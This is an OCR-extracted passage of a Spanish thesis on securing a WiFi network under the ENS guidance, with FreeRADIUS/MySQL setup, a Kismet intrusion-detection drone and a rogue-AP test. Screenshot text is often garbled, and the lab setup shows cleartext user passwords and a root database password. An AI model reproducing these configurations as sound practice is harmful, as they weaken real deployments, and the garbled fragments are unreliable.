Query 0K, © rows affected (0,35 se

Query 0K, @ rows affected (0,30
Query 0K, @ rows affected (0,32

mysql> []

Figura 3-44 Importando tablas FreeRADIUS

En la Figura 3-45 se muestran las tablas que se han creado en la base de datos “radius”, importadas
del archivo schema.sgl de FreeRADIUS. Como se vera a continuacion, las tablas tienen una estructura
definida, pero no tendran datos en ellas.

mysql= SHOW TABLES;

radgroupcheck

radgroupreply
radpostauth
radreply
radusergroup

Figura 3-45 Tablas FreeRADIUS importadas

De las tablas anteriormente mostradas, emplearemos la tabla nas y radcheck, que recogen la
informacion de los clientes conectados al servidor FreeRADIUS y los usuarios que pueden acceder al
mismo, respectivamente (ver Figura 3-46). Para el funcionamiento del servidor, debemos poblar estas
tablas como se muestra en la Figura 3-47.
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mysql> DESCRIBE

+
\

+

| int(1e)

| varchar(128)
| wvarchar(32)
\

\

\

\

\

\
+
(

varchar(30)
int(5)

varchar (60)
varchar(64)
varchar(50)
varchar(200)

0,00 sec)

mysql= DESCRIBE radcheck;

4 - - -

> SELECT * FROM

Miguell
Paco
Miguel2

192.168.1.
192.168.1.
192.168.1.
192.168.1.4

ST —— -

int(11) unsigned
varchar(64)
varchar(64)
char(2)
varchar(253)

radcheck;

+—————t+— +

myNAS other NULL

Routerl other 1537
other 1537
other

4 rows in set (0,00 se

Para poblar las tablas, se emplea el comando INSERT INTO nombre_tabla (valores). En el
ejemplo, se afiade el usuario Jesus a la tabla radcheck incluyendo la contrasefia que empleara para
conectar al servidor RADIUS. Como se ve en la Figura 3-48, en el primer paréntesis se indica en qué
columna de la tabla radcheck va a ir la informacion que se muestra en el segundo paréntesis. De esta

NULL
NULL
NULL
other
NULL
secret
NULL
NULL

RADIUS Client

NULL
NULL
NULL
NULL

auto_increment

NULL
NULL
NULL
NULL

Figura 3-47 Contenido tablas nas y radcheck

forma se pueblan las tablas nas y radcheck.

mysql> insert into radcheck (username,attribute,op,value) values("Jesus",
"Cleartext-Pass e

ord", ":=", "pollos

Query 0K, 1 row affected (0,86 sec)

mysql=> [

Una vez configurado MySQL se procedera a configurar FreeRADIUS para que, en lugar de

Figura 3-48 Afiadiendo usuario Jesus a radcheck

emplear los archivos users y clients.conf, emplee la base de datos.

58

Routerl
Routerl
Router2
Router3




APLICACION DE LAS POLITICAS DE SEGURIDAD DEL ENS EN REDES
INALAMBRICAS WIFI

En primer lugar, debemos modificar el fichero radiusd.conf y debemos afiadir $INCLUDE mods-
enabled/ en modules y $INCLUDE sites-enabled/ en policy como se muestra en la Figura 3-49.

modules {
£INCLUDE mods-enabled/

1
1]
instantiate {

1
J

olicy {
$INCLUDE policy.d/
SINCLUDE sites-enabled/

Figura 3-49 Configurando radiusd.conf

Seguidamente debemos modificar el archivo default en la carpeta sites-available y debemos
activar sql en todos los apartados (como se muestra en Figura 3-50). En este archivo tenemos la opcion
de afiadir un guion delante de la opcion sql para indicar que debe usarse si estd configurado. En
nuestro caso, lo eliminamos para forzar el empleo de MySQL.

authorize {
sgl

}
accounting {
sgl

}
session {
sgl

}
post—-auth {
sgl

}
Post-Auth-Type REJECT {

sgl
}

Figura 3-50 Configurando sites-available

En tercer lugar cambiaremos los parametros de conexion a la base de datos en la carpeta ../mods-
available/ modificando el archivo sgl. Los parametros mostrados en la Figura 3-51 determinan, en
orden de aparicion:

1. Driver: base de datos sgl que empleamos, en nuestro caso, mysql.
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N

Dialect: debe coincidir con el sgl que queremos usar.

3. Server: indica la direccion IP en la que se encuentra el servidor, en nuestro caso, la

direccion es la propia del ordenador.

Port: puerto al que se debe conectar.

5. Login: usuario con el que accede a la base de datos, en nuestro caso es root, que cuenta con
permisos de administracion.

6. Password: contrasefia para el usuario root, en claro.

7. Radius_db: indica qué base de datos dentro de MySQL debe emplear, en nuestro caso,

radius.

&

En este archivo ademas afiadimos read_clients=yes, para leer los clientes de la base de datos, y
client table="nas” para indicar que tabla debe leer para seleccionar los clientes.

driver = "rlm_sql mysql"
dialect = "mysqgl"

root"
word = "myml!vpTypM"

radius db = "radius"

Figura 3-51 Configurando parametros de conexion a base de datos

Con esto hemos configurado FreeRADIUS para el uso de MySQL. Ahora solo queda activarlo.
FreeRADIUS almacena todas las extensiones disponibles en la carpeta mods-available, y para
emplearlos debemos copiarlos en la carpeta mods-enabled. En la Figura 3-52 se muestra el proceso de
creacion de un enlace a la carpeta mods-available.

Se comprueba que la configuracion se realizé correctamente con el comando $ sudo freeradius -
XC que nos devuelve el siguiente mensaje configuration appears to be OK. En la Figura 3-53 se
realiza la comprobacion del usuario Miguel2, que devuelve Received Access-Accept (pantalla
izquierda). En la pantalla de la derecha, se muestra la salida en modo debug del servidor FreeRADIUS,
que acepta al usuario y devuelve Ready to process request.
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etc/Treerac Le
eap mschap smbpas
echo ntlm auth smsotp
soh
] otp sometimes
xpiration pam sql
pr pap sqlcount
fil assu sqlippo
idn e sradutmp
inner-eap unboun
ippool python uni
krb5 radutmp unpack
cample.com ldap README.rst utf8
ail.log i g realm wimax
ime i
mac2ip rediswho
mac2vlan replicate
rest
lable$ cd ../n enable
rfetc eeradius/3.0/mods-enabled$ 1s
always detail.log exec logintime preprocess sradutmp
attr filter ~digest expiration ~mschap radutmp unix
dynamic clients expr ntlm_auth realm unpack
eap files pap replicate
linelog passwd soh
nds-enabled$ sudo 1n .. fm

ac .0/mods-enabled$ 1s
detail.log exec logintime preprocess
digest expiration mschap radutmp
dynamic_clients expr ntlm_auth realm unix
files pap replicate unpack

linelog passwd soh utfs
.0/mods-enabled$ [

:/etc/freeradius/3.0/mod vailable$ radtest Miguel2 rogelio lo No attributes updated
calhost @ testingl23 } # update = noop
Sent Access-Request Id 209 from 0.0.0.0:40557 to 127.0.0.1:1812 length 77 : EXPAND .query
User-Name = “"Miguel2" : --> .query
User-Password = "rogelio" (44) sql: Using query template 'query'’
NAS-IP-Address = 127.0.1.1 rlm_sql (sql): Reserved connection (23)
NAS-Port = © (44) sql: EXPAND %{User-Name}
Message-Authenticator = 0x00 (44) sql: --> Miguel2
Cleartext-Password = "rogelio" (44) sql: sQL-User-Name set to 'Miguel2’
Received Access-Accept Id 209 from 127.0.0.1:1812 to 0.0.0.0:0 length 20 (44) sql: EXPAND INSERT INTO radpostauth (username, pass, reply, authdate)
:/etc/freeradius/3.0/mods-available$ D VALUES ( '%{SQL-User-Name}', '%{%{User-Password}:-%{Chap-Password}}', '%
reply:Packet-Type}', '%S')
(44) sql: --> INSERT INTO radpostauth (username, pass, reply, authdate)
VALUES ( 'Miguel2', 'rogelio', 'Access-Accept', '2018-02-19 21:09:29')
(44) sql: Executing query: INSERT INTO radpostauth (username, pass, reply,
authdate) VALUES ( 'Miguel2', 'rogelio', 'Access-Accept', '2018-02-19 21
09:29%)
(44) sql: SQL query returned: success
(44) sql: 1 record(s) updated
rim_sql (sql): Released connection (23)
(44) [sql] = ok
(44) [exec] = noop
(44) policy remove reply message if eap {
(44) if (&reply:EAP-Message && &reply:Reply-Message) {
(44) if (&reply:EAP-Message && &reply:Reply-Message) -> FALSE
(44) else {
(44) [noop] = noop
(44) } # else = noop
(44) } # policy remove reply message if eap = noop
(44) } # post-auth = ok
(44) Sent Access-Accept Id 209 from 127.0.0.1:1812 to 127.0.0.1:40557 leng
th @
(44) Finished request
Waking up in 4.9 seconds.
(44) Cleaning up request packet ID 209 with timestamp +745
Ready to process requests

Figura 3-53 Test usuario Miguel2
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3.3.6.1 MySQL Workbench

Para simplificar la gestion de las tablas y bases de datos instalamos MySQL Workbench (véase
Figura 3-54).

Descargas/mysql-workbench-community-6.3.10-src/wb-build$ sudo apt-get install mysql-workbench

Figura 3-54 Instalando MySQL Workbench

Una vez instalado, la aplicacion estara disponible en el escritorio del ordenador. Cuando abrimos
la aplicacion, se muestra la pantalla de la Figura 3-55. En ella se muestran los distintos servidores
MySQL a los que podemos acceder. En nuestro caso, solo tenemos el servidor local del ordenador con
el usuario root. En la Figura 3-56 se introdujo la contrasefia que empledbamos para acceder a MySQL
con mysql -uroot -p.

MySQL Workbench [- O] o‘
@

File Edit View Database Tools Scripting Help

MySQL Connections ® ® Shortcuts

Local instance 3306 5!& MysQL Utilities

P
2 root

lacalhost:3306

Models ® ® @

sakila_full

Ready.

Figura 3-55 Pantalla inicial MySQL Workbench

ConnecttoMySQLServer @ @ @

Please enter password for the
following service: : Shortcuts
— Service: Mysql@localhost:3306

™ : S MySQL Utilities

User: root

Workbanch
_] Password: essssssssss

>
Save password in keychain @

OK Cancel
@ @ MySQL Bug Rej
Opening SQL Editor
>>>

M . Workbench Blogs

. Planet MySQL

Models ® @ @ . Workbench Forum
sakila_fu
. Scripting Shell

Figura 3-56 Ventana de acceso al servidor
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En la Figura 3-57 se muestra la interfaz desde la que podemos acceder a la base de datos radius.
Una vez abierto el men0 desplegable, podemos acceder a las distintas tablas. Se selecciona radcheck
(Figura 3-58) sobre la que podemos hacer los cambios simplemente haciendo click en el campo que
nos interese.

Aplicaciones v Lugares v MySQ enc| lun 17:33

MySQL Workbench e ® 0
# Local instance 3306 x
File Edit View Query Database Server Tools Scripting Help
D e SIEREE & o [Ddd
MANAGEMENT < |Queryl x Context Help | Snippets

© server status &8 g 8. [B) |Limitto1000rows 4| ¥5 ¢ Q (1] (3 B %
— Client Connections 1 Automatic context help is disab

@

4§ Users and Privileges

24 Status and System Variable:
&, Data Export

& Data Import/Restore

INSTANCE

B startup / Shutdown

A server Logs

#~ Options File
PERFORMANCE

&) Dashboard

& Performance Reports

&N Performance Schema Setup

SCHEMAS o&

radius

| B

Object Info | Session Action Output &

No object selected #  Time Action Message Duration / Fetch

SQL Editor Opened.

Figura 3-57 Interfaz de trabajo principal

Aplicaciones v

MySQL Workbench e ® 0
# | Localinstance 3306 *
File Edit View Query Database Server Tools Scripting Help

R e SIEEIAE & e Oag

MANAGEMENT b Query 1 x Administration - Data Export x |radcheck x Context Help | »
© server status e ¥§Fe & [Z)| |Limitto1000rows 4| 5 ¢ Q (1] (2 (T2 %,
5 Client Connections . i

o 1 e SELECT * FROM radius.radcheck; Automatic context
4 users and Privileges
21 Status and System Variable:
&, Data Export
& Data Import/Restore

INSTANCE
B startup / Shutdown
A server Logs
&~ Options File e e e e —————T C

PERFORMANCE Result Grid H 43 Filter Rows:| Q & Export/import: B (& Wrap Cell Content: Iz
&) Dashboard # [d username  attribute
&1 Performance Reports 1 1 Jesus Crypt-Password = pollos
s\

&% Performance Schema Setup” 5 | 5 Manuel  Cleartext-Password =  runner

SCHEMAS A IRl 3 Miguell  Cleartext-Password := rogelio

4 |4 Paco Cleartext-Password - := paco
v B Tables 5 |5 Miguel2  Crypt-Password = rogelio
* | o o] froce v

Object Info | Session

Table: radcheck

Columns:
id int(11) UN Al PK

username varchar(64)
attribute varchar(64)

chasia)

Query Completed

Figura 3-58 Editando tabla radcheck
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La Figura 3-59 muestra como MySQL Workbench trabaja. A pesar de la interfaz, al modificar las
tablas nos solicita confirmar los cambios, que se traducen al cddigo que utilizariamos con la interfaz en
la terminal.

Aplicaciones v Lugares v MySQL Workbench v lun 17:40

MySQL Workbench

# | Localinstance 3306 x Apply SQL Script to Database (- IO -]
File Edit View Query Database Server Tools §
@ 2 O n R SQL Script ~ Review the SQL Script to be Applied on the Datab: IS
@ EJ & 885 & B & © Review crip eview the cript to be Applied on the Database ® [D \Q‘@
MANAGEMENT 2 [Query1l x |Admig ®APPly SGL Script Context Help | »
© server Status 8 Please review the following SQL script that will be applied % %
Client Connections ‘ H to the database. -/
= S : Automatic context
4§ Users and Privileges 1e SEY Note that once applied, these statements may not be

revertible without losing some of the data.
You can also manually change the SQL statements before
execution.
1 DELETE FROM ‘radius’. radcheck” WHERE "id"='5"; m
DELETE FROM ‘radius’. radcheck® WHERE ‘id' ='4";

(2] Status and System Variable:
X, Data Export
& Data Import/Restore

INSTANCE

2
Jfisesstun ) Shutsiow 5 DELETE FROM ‘radius'. radcheck’ WHERE ‘id"='1"; i
& Seiveritoos : . s UPDATE 'radius’. radcheck’ SET ‘id ='1' WHERE ‘id’ ="2'; |
g mtos e - A s UPDATE ‘radius’. radcheck’ SET ‘id ='2' WHERE 'id ='6; |
PERFORMANCE Result Grid HH 4% 6 UPDATE ‘radius’. radcheck” SET 'id"='3' WHERE "id" ='8"; \
£ Dashboard # id usernd 7 UPDATE ‘radius’. radcheck’ SET "id’ ='4' WHERE "id" ='9'";
& Performance Reports 1 1 Jesus 8 UPDATE ‘radius’. radcheck’ SET "id'='S' WHERE "id"='10';
&% Performance Schema Setup 2 2 Manuﬁ 9
SCHEMAS o2 (38 Miguel
Q 4 4 Paco
v B Tables A IS5 5 Miguel
» & nas ::] n {ruLL I vt ‘
» & radacct |
|
[J &1 Columns " ¥ |
Object Info | Session R =
Table: radcheck | - = "
Columns: {
id int(11) UN Al PK
username varchar(64) - ©® Cancel » Apply

attribute varchar(64)
hacla,

ancharia)
Export resultset canceled

Figura 3-59 Muestra de funcionamiento MySQL Workbench

3.3.7 Kismet

Para completar uno de los requerimientos que recomienda la guia, que es tener un Sistema de
Deteccion de Intrusion Inalambrica o WIDS (Wireless Intrusion Detection System), emplearemos el
software Kismet [47]. Instalaremos un servidor y cliente Kismet en nuestro equipo y un dron Kismet
en un router que emplearemos exclusivamente para monitorizar la red.

Un Sistema de Deteccion de Intrusiones (IDS) es capaz de detectar los accesos no autorizados a
una red o a un equipo informatico. Pueden estar compuestos por los siguientes elementos [14]:

e Sensores: dispositivos que monitorizan y capturan la actividad de la red.

e Servidores de Administracion: equipos que analizan la informacion enviada por los
Sensores.

e Servidores de Base de Datos: equipos que almacenan los eventos generados por los
servidores de administracion, tras su analisis.

e Consola: interfaz de gestion y control del sistema.

Los sensores WIDS pueden ser de varios tipos:

e Dedicados: son dispositivos independientes y dedicados Unicamente a esta funcién de
sensor. Los sensores estan conectados a la red cableada y pueden ser fijos 0 moviles. Los
sensores fijos se instalan en una localizacion fija donde pueden disponer de alimentacion,
conexion a la red cableada, etc. Los sensores moviles estan disefiados para ser portables y
poder usarse en distintas localizaciones o incluso en movimiento.

e No dedicados: el sensor no es un dispositivo, sino una funcién integrada en otros
dispositivos de la red inalambrica, como AP o conmutadores.
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e Sensores software en dispositivo cliente: son unidades software que se instalan en los
dispositivos cliente y tienen la funcion de detectar ataques en su rango de frecuencias, 0
vulnerabilidades dentro de los dispositivos cliente y enviar esta informacion a los
Servidores de Administracion.

En nuestro caso particular, el sistema lo componen un sensor no dedicado compuesto por uno de
los routers con el software Kismet drone instalado. Los servidores de administracion y base de datos
son el servidor Kismet instalado en nuestro ordenador portéatil. La consola la aporta el cliente Kismet,
igualmente instalado en el portatil.

Aunque hablemos de un sensor no dedicado, el router que se emplea solo tiene esa funcion.
Debido a su limitada capacidad de memoria interna, el router no puede tener instalado el dron Kismet
y el software necesario para soportar la autenticacion mediante FreeRADIUS de forma simultanea.

A continuacion, se pasa a mostrar el proceso de instalacion y configuracion de Kismet, tanto en el
portéatil como en el router.

Primero instalaremos Kismet en el portatil. Esta version de Kali Linux trae previamente instalado
la version de Kismet mas reciente (2016.07.R1-1). La instalacién se ejecuta de forma continua, sélo
con una pausa para registrar a los usuarios que afadiremos al grupo de “usuarios con privilegios” de
administracion. Esto permite a los usuarios lanzar Kismet sin necesidad de usar sudo.

Con esto ya tendremos instalado en el ordenador el servidor y el cliente Kismet necesario para
monitorizar una red. EI emplear Kismet para monitorizar una red implica emplear la tarjeta WiFi del
dispositivo de forma exclusiva para este fin. Debido a eso se decide emplear uno de los routers para
realizar estas tareas de monitorizacion. Debido al despliegue de la red, emplear el router como monitor
nos da mayor rango de cobertura, ya que podemos situarlo en la camareta central L-2 para cubrir la
zona de emision de los routers en F-3 y el hall.

Una vez justificado el empleo de un dron Kismet para monitorizar la Red TFG, procedemos a
explicar su instalacion en el router y la configuracion para conectar al servidor Kismet. En la Figura
3-60 y Figura 3-61 se muestran los comandos para la instalacion.

Figura 3-60 Actualizando repositorio opkg

root@Routerd: ~#

Figura 3-61 Instalacion de dron de Kismet
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En la Figura 3-62 se muestra como ahora en la carpeta /etc aparece la carpeta kismet.

root@Routerd:~f 1s

preinit

inittab

mtab

root@Routerd: /etc# I

Figura 3-62 Contenido carpeta /etc del router que acta como dron
Dentro de ese directorio (ver Figura 3-63), se muestra el fichero /etc/kismet/kismet_drone.conf.

outerd: /etcH ] kismet
outerd: /etc/kismet# 1s

kismet drone.conf
root@Routerd: /etc/kismet# I

Figura 3-63 Fichero kismet_drone.conf

En la Figura 3-64 se muestra el contenido del fichero kismet_drone.conf. En él afiadimos el
nombre al servidor kismet-Drone. Con la opcién dronelisten=tcp://192.168.1.5:2502 indicamos al
dron la direccién IP del dispositivo que tiene que monitorizar, que es la propia direccion del router, y
el puerto de escucha, que Kismet determina 2502. La linea droneallowedhost=127.0.0.1,192.168.1.200
autoriza a las IP afadidas a acceder al dron. En nuestro caso, se afiade la IP 192.168.1.200, que es la IP
del portatil en el que se encuentra el servidor Kismet.

Dado que nuestro router no tiene GPS incorporado se desactiva la opcidn asociada con gps=false.
La ultima linea sefialada indica qué interfaz debe monitorizar. Le indicamos que monitorice la interfaz
wlan0 del router, y también especificamos qué tipo de interfaz.
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Figura 3-64 Configuracion del dron Kismet

Las ultimas lineas del fichero de configuracion definen los canales a cubrir durante la
monitorizacion. Se dejan los valores por defecto.

Para monitorizar la interfaz wlan0, previamente hay que configurarla como se muestra en la Figura
3-65. Remarcar que la diferencia con respecto a los ficheros wireless de los routers que actian como
AP es que el modo de trabajo de la interfaz es monitor.
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Figura 3-65 Configurando interfaz para monitorizacion

Ahora que se ha configurado el dron, debemos configurar el servidor Kismet para indicarle que
monitorice el dron Kismet. Para ello accederemos a la carpeta kismet (/etc/kismet) del servidor y
modificaremos el archivo kismet.conf (Figura 3-66).

allowplugins=true

ncsource=drone:host=192.168.1.5,port=2502

Figura 3-66 Configuracion fichero kismet.conf en el servidor Kismet

El archivo de configuracion es similar al del dron. Sélo afiadiremos la fuente, en la que indicamos
qué interfaz debe monitorizar. En nuestro caso, con ncsource=drone:host=192.169.1.5, port=2502, le
estamos indicando que la interfaz es un dron, cuya IP y puerto son los del router en el que lo hemos
instalado.

De esta forma quedaria el sistema Kismet configurado.

Para comenzar a monitorizar la red debemos lanzar, por un lado, el proceso kismet_drone y, por
otro, el servidor y el cliente. Para lanzarlo desde el router, emplearemos el software PuTTY, entrando
en la terminal del router y lanzandolo con el comando kismet_drone (Figura 3-67). En el portatil lo
lanzaremos desde la terminal con el comando sudo kismet, y como resultado nos mostrara la interfaz
cliente como ilustra la Figura 3-68, en la que nos pregunta si queremos lanzar el servidor.
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Figura 3-67 Lanzando kismet_drone

~ Kismet Sort View Windows

Not
Connected|

B Packets

connect Kismet server 'localhost: ' (Connection refused) will attempt reconnect seconds.
connect Kismet server 'localhost: ' (Connection refused) will attempt reconnect seconds.
connect Kismet server 'localhost: ' (Connection refused) will attempt reconnect seconds.
connect Kismet server 'localhost: ' (Connection refused) will attempt reconnect seconds.
connect Kismet server 'localhost: ' (Connection refused) will attempt reconnect seconds.

Figura 3-68 Interfaz cliente Kismet

Cuando pulsamos Yes se lanza el servidor y nos presenta en pantalla informacion de los AP’s
detectados (Figura 3-69). Seleccionaremos la opcion Close Console window para volver a la interfaz
cliente inicial.
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encryption yes, channel 1, 216.70 mbit

: Detected new data network "<Unknown>", BSSID 04:18:D6:7B:28:C0,
encryption yes, channel 0, 0.00 mbit

: Detected new managed network "C DOT", BSSID 90:F6:52:54:C6:14,
encryption yes, channel 0, 1560.00 mbit

: Detected new managed network "biblioacademica", BSSID B4:75:0E:C4:07:
AD, encryption yes, channel 3, 54.00 mbit

: Detected new probe network "wificud", BSSID BO:70:2D:9A:00:DA,
encryption no, channel 0, 72.20 mbit

: Detected new probe network "<Any>", BSSID B8:27:EB:CE:AE:02,
encryption no, channel 0, 72.20 mbit

: Detected new managed netwo "Red TFG", BSSID 58:EF:68:44:7C:4F,
encryption yes, channel 0, 54.00 mbit

: Detected new probe network " ", BSSID F8:94:C2:9B:37:D2,
encryption no, channel 0, 300.

: Detected new probe network "<Ar ", BSSID DA:A1:19:F9:E4:B2,
encryption no, channel 0, 1560.00 mbit

: Detected new managed network "DIRECT-28-HP Desklet 3700 series",
BSSID 48:BA:4E:FE:26:29, encryption yes, channel 6, 72.20 mbit

8 vork "SETUP", BSSID D6:8C:53:99:39:91,

encryption no, channel 0, 72.20 mbit

: Detected new probe networ wificud", BSSID 68:94:23:54:0C:1B,
encryption no, channel 0, 54.00 mbit

: Detected new data network Unknown>", BSSID 04:18:D6:7 D:AO,
encryption no, channel 0, 00 mbit

: Detected new probe network "wificud", BSSID FO:C8:50:59:
encryption no, channel 0, 144.40 mbit

: Detected new probe network "<Any>", BSSID 74:E5:43:F1:AB:B5,
encryption no, channel 0, 54.00 mbit

: Detected new probe network "<Any>", BSSID B8:27:EB:64:18:46,
encryption no, channel 0, 72.20 mbit

: Detected new probe network "wificud", BSSID 14:99:E2:EA:00:8C,
encryption no, channel ©, 144.40 mbit

Figura 3-69 Captura de la consola del servidor Kismet

Seguidamente se presenta la pantalla principal que se divide en cuatro partes (ver Figura 3-70):

1. Se muestran todas las redes detectadas por el dron en su rango de cobertura. Muestra
incluso las redes ocultas de Red TFG. Ademas, si se selecciona cada red, muestra
informacion adicional, como la direccion MAC del router, o el tipo de cifrado de seguridad
de la red. La informacién de las columnas puede tomar los siguientes valores:

e Name: nombre de la red WiFi.
e T: puede tomar los siguientes valores.
e P, probe request, sin conexién asociada.
e A, Access point, conexién inalambrica estandar.
e H, Ad-hoc, red inalambrica punto a punto.
e T, Turbocell, empleo de un router Karlnet o Lucent.
e G, Group, grupo de redes inaldmbricas.
e D, Data, una red datos sin control de paquetes.
C: cifrado empleado en la red.
¢ N, no emplea cifrado.
¢ Y, emplea cifrado WEP.
e O, emplea otro tipo de cifrado.

e Ch:indica el canal de la red.

e Pkts: indica el nUmero de paquetes capturados.

e Size: muestra el tamafio de los paquetes capturados.

2. Muestra las direcciones MAC de los dispositivos conectados a la red, y la forma a la que
estan conectados. Ademas, da informacion de los paquetes asociados a cada cliente. Esta
informacidn es valiosa para monitorizar que los usuarios conectados a la red sean legitimos
(asumiendo la vulnerabilidad provocada por MAC Spoofing) y detectar actividad inusual
por parte de algdn usuario.

3. Este apartado muestra de forma gréfica el total de paquetes y datos monitorizados por
Kismet.
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4. En el margen derecho se muestra el tiempo que se lleva ejecutando Kismet (Elapsed), la
lista de redes inalambricas (Networks) que no coindice con la lista de redes del apartado 1.
Packets muestra los paquetes totales monitorizados. Pkt/Sec indica los paquetes analizados
cada segundo.

Aplicaciones v Lugares v [ Terminal v mar 13:31e

tfg@kalicud: /etc/kismet @ @0

Archivo Editar Ver Buscar Terminal Ayuda
~ Kismet Sort View Windows
kalicud

Elapsed
00:02.05

Networks
39
Packets
5951

Pkt/Sec
244

Filtered
0

B rPackets

new probe network "

Figura 3-70 Pantalla principal cliente Kismet

Si seleccionamos una red, por ejemplo, Red TFG, y pulsamos Enter, podemos ver mas
informacion de esa red, como se muestra en la Figura 3-71. Un dato adicional que aporta esta ventana
es Seen By: drone (drone), que nos indica de donde proviene la informacidn de esta red. Esto es Util si
tenemos varios drones funcionando de forma simultanea o el propio dispositivo donde instalamos
Kismet. La zona de Packet Rate muestra el trafico de paquetes de la red en tiempo real.

71



JESUS MuURNoz CASTANO

6 (Unk)
(19

(Unk) -
2409 (Unk) -
2410 (Unk) - 62
2411 (Unk) -
2412 (1) -
2413 (1)
2414 (1)

SSID: Red TFG
Length: 7
con (advertising AP)
Encryption: WPA AES-CCM
Beacon %: 70

Signal: -40dBm (max -39dBm)
Noise: @dBm (max -256dBm)

Packet Rate

drone (drone) d5cb9d8e-1bb9-11e8-abe8-30040c171802
Feb 27 14:12:16

Figura 3-71 Detalle de Red TFG, desde el cliente Kismet

Con Kismet vienen una serie de alertas programadas por defecto. En este caso, interesa
APSPOOF, que nos permite detectar Rogue AP, emitiendo una alarma cuando aparece una red
inalambrica que parte de un punto de acceso no incluido en la lista de direcciones MAC autorizadas de

Kismet (Figura 3-72).

STDISCON,5/m
TESTAMP, 5/
NCHANGE, 5/min, 1
PTODROP, 5/min, 1
ASSOCTRAFFIC
=DEAUTHFLOOD,5/min, 2/
=DEAUTHCODEINVALID

HCPCLIENTID,S5/min, 1
HCPCONFLICT, /min,
ETSTUMBLER, 5,

NETGEARBEACON, 5/m
=NULLPROBERESP,5/min

Figura 3-72 Alertas Kismet y MACs autorizadas para Red TFG

Se procede a comprobar la funcionalidad de esta alerta creando un punto de acceso para la Red
TFG desde un dispositivo Android (ver Figura 3-73). Se comprueba que Kismet detecta el punto de
acceso no autorizado, creado por el dispositivo Android y genera una alerta (Figura 3-74).
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] ® % Q@ "4 W 1852

< Anclaje ared y zona Wi-Fi

Zona Wi-Fi portatil .
Zona Wi-Fi portétil Red TFG activa

Configurar zona Wi-Fi
Zona Wi-Fi portatil: Red TFG (WPA2 PSK)

Anclaje por Bluetooth
No se comparte la conexion a Internet de
este teléfono

Figura 3-73 Red TFG, punto de acceso en dispositivo Android

~ Alert Sort
17:30:18 APSPOOF Unauthorized device (B4:9D:0B:5F:65:3C) advertising for SSID 'Red TFG', matching APSPOOF rule Foo2 with SSID which may indicate

Figura 3-74 Alerta APSPOOF por Rogue AP Android

Con esto concluiria la configuracion necesaria que requiere una red inalambrica WiFi segun el
ENS.

Ademaés, podemos utilizar Kismet para detectar ataques KRACK, vulnerabilidad no contemplada
por la guia CCN-STIC-816, y configuracion no recogida en el ENS:

e Para realizar un ataque KRACK, se debe clonar la direccion MAC de un punto de acceso,
pero en diferente canal. Kismet generard una alerta CHANCHANGE (para el cambio de
canal) o0 BSSTIMESTAMP si detecta dos puntos de acceso en conflicto. Este es un buen
indicio para saber si se esta iniciando un ataque, sin embargo, en un futuro esto puede ser
menos obvio.

e La mayoria de los ataques KRACK retransmiten un valor nounce previamente empleado,
tanto en el primer como en el tercer handshake. Kismet monitoriza los 128 nonce previos
vistos y si es detectado un nonce repetido, lanza la alerta NONCEREUSE.
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4 \/ALIDACION DEL TFG

En este capitulo se expondra como las medidas implementadas contribuyen a aumentar el nivel de
seguridad de la red. Asi, en un primer apartado, se presentara una comparativa inicial con una red con
seguridad doméstica y las amenazas que mitigan las medidas tomadas. En el segundo apartado, se
realizaran una serie de pruebas para mostrar la eficacia de las medidas implantadas.

4.1 Medidas implementadas y objetivos de seguridad alcanzados

En las tablas que comprenden de la 4-1 a la 4-13 se recogen las medidas que afiade la guia CCN-
STIC-816, adoptadas en la red WiFi desplegada en este TFG.

Medida doméstica Medida CCN-STIC-816

Claves WPAZ2 con PSK Claves WPAZ2 con Servidor RADIUS
Soluciona

Evitamos una Unica clave conocida por todos los usuarios de la red. Cada usuario tiene su login y
contrasefia para conectarse a la red, pudiendo limitar el nimero de accesos simultaneos por cuenta, y el
tiempo de conexion de cada usuario. Ademas, permite dar de alta o de baja a usuarios sin perturbar al
resto de usuarios. El tener un login y contrasefia por usuario implica el paso a autenticacion de doble
factor, debiendo el atacante de conseguir ambos parametros. EI empleo de RADIUS ya implica uso de
EAP, PAP, CHAP, etc.

Tabla 4-1 Medida 1

Medida doméstica Medida CCN-STIC-816

Claves WPA2 con TKIP Claves WPA2 con CCMP
Soluciona

A pesar de la vulnerabilidad actual de ambos WPA2, TKIP presenta serias vulnerabilidades ya
conocidas, mientras que CCMP solventa estas vulnerabilidades. Mencionar que KRACK no ha sido
aun liberado por su creador al publico.

Tabla 4-2 Medida 2
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Medida doméstica Medida CCN-STIC-816

Claves WEP Claves WPA2
Soluciona

Claves WEP quedan totalmente descartadas
Tabla 4-3 Medida 3

Medida doméstica Medida CCN-STIC-816

No filtrado MAC Filtrado MAC
Soluciona

Esta medida no deja de ser una medida disuasoria ya que las técnicas MAC Spoofing permiten a un
usuario cambiar la direccion MAC de su dispositivo, y un atacante podria cambiarla por una que se
encuentre en la lista de MAC’s autorizadas. No deja de ser una primera barrera para atacantes
inexpertos.

Tabla 4-4 Medida 4

Medida doméstica Medida CCN-STIC-816

Parametros predefinidos Parametros modificados
Soluciona

El empleo de pardmetros por defecto hace la red vulnerable a ataques de diccionario. Los parametros a
modificar son: direccion IP de acceso al router, puerto de acceso SSH, SSID, contrasefia (en el caso de
OpenWrt, la red hay que configurarla de cero, pero routers de ISP traen la red configurada por
defecto).

Tabla 4-5 Medida 5

Medida doméstica Medida CCN-STIC-816

Contrasefias de red de baja seguridad Contrasefias de red de alta seguridad
Soluciona

El evitar emplear contrasefias de alta seguridad nos da una mayor proteccion frente ataques de
diccionario. Se deben emplear contrasefias con un minimo de longitud, que combinen mayusculas,
minusculas, simbolos y nimeros.

Tabla 4-6 Medida 6
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Medida doméstica Medida CCN-STIC-816

Emision del SSID Ocultar SSID
Soluciona

Anular el broadcast del SSID nos permite evitar mostrar la existencia de la red WiFi a personas no
pertenecientes a la organizacion. Sirve como una primera medida disuasoria para posibles atacantes.

Tabla 4-7 Medida 7

Medida doméstica Medida CCN-STIC-816

AP funcionando siempre AP apagado en horario no laborable
Soluciona

Mitiga el riesgo de ser atacado, apagando los puntos de acceso en horario no laborable. Nuestros
routers no se pueden apagar y volver a encender, asi que lo que hacen es apagar la interfaz WiFi en el
periodo establecido.

Tabla 4-8 Medida 8

Medida doméstica Medida CCN-STIC-816

Canales aleatorios Seleccion de canales
Soluciona

En el entorno domestico el solape de canales puede ser un problema. En el entorno de la organizacion
una buena gestion de los canales nos permite evitar interferencia entre los distintos AP.

Tabla 4-9 Medida 9

Medida doméstica Medida CCN-STIC-816

Contrasefia administrador router predeterminada Contrasefia administrador router alta seguridad
Soluciona

Los routers comerciales suelen presentar usuario y contrasefia "admin™ o usuario "admin" y contrasefia
